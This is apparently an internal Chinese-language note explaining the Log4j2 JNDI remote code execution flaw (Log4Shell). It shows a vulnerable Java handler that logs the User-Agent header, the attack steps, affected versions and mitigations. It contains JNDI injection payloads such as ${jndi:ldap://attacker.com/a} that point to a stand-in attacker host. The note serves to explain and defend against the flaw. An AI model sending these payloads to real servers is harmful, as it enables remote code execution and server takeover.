产生方法
https://0xsapra.github.io/website/CVE-2019-17571
核心部分${jndi:ldap://xxxxx.dnslog.cn/exp}
想办法把用户输入的可执行字符串送到这个位置就行了,日志里经常打印请求参数之类用户输入的内容,比如"参数a:<请求的输入
攻击伪代码示例:
import org.apache.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log = Logger.getLogger(log4jExample.class.getName());
/**
* 示例伪代码:一个简单的HTTP端点,其中读取User Agent信息并进行日志记录;
*/
public void handle(HttpExchange he) throws IOException {
// 获取user-agent信息
String userAgent = he.getRequestHeader("user-agent");
// 此行记录日志的代码,通过记录攻击者控制的HTTP用户代理标头来触发RCE。
// 攻击者可以设置他们的User-Agent header到${jndi:ldap://attacker.com/a}
log.info("Request User Agent:" + userAgent);
String response = "<h1>Hello There, " + userAgent + "!</h1>";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
基于上述代码的基本攻击步骤:
- 请求对应的HTTP端点(或接口),在请求信息中携带攻击代码(比如,在user-agent中携带
${jndi:ldap://attacker.com/a})
- 服务器在通过Log4j2执行日志记录时,记录中包含了基于JNDI和LDAP的恶意负载
${jndi:ldap://attacker.com/a}
,其中attacker.com
是攻击者控制的地址。 - 记录日志操作触发向攻击者控制的地址发送请求。
- 对应请求返回在响应中返回可执行的恶意代码,注入到服务器进程当中。比如返回,
https://attacker.com/Attack.class
- 进而执行脚本控制服务器。
预防
Apache Log4j 远程代码执行漏洞
影响版本
经验证 2.15.0-rc1 版本存在绕过,实际受影响范围如下:
Apache Log4j 2.x < 2.15.0-rc2
最新修复版本:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
安全建议
1、排查应用是否引入了Apache log4j-core Jar包,若存在依赖引入,且在受影响版本范围内,则可能存在漏洞影响。请尽快升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0-rc2 版本,地址 https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
2、升级已知受影响的应用及组件,如 spring-boot-starter-log4j2/Apache Struts2/Apache Solr/Apache Druid/Apache Flink
3、可升级jdk版本至6u211 / 7u201 / 8u191 / 11.0.1以上,可以在一定程度上限制JNDI等漏洞利用方式。
补救方案
方案一:升级版本,发布系统;
方案二:临时补救:
- 修改JVM参数,设置
-Dlog4j2.formatMsgNoLookups=true
- 在涉及漏洞的项目的类路径(classpath)下增加
log4j2.component.properties
配置文件并增加配置项log4j2.formatMsgNoLookups=true
- 将系统环境变量
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS
设置为true
还好我们用的是logback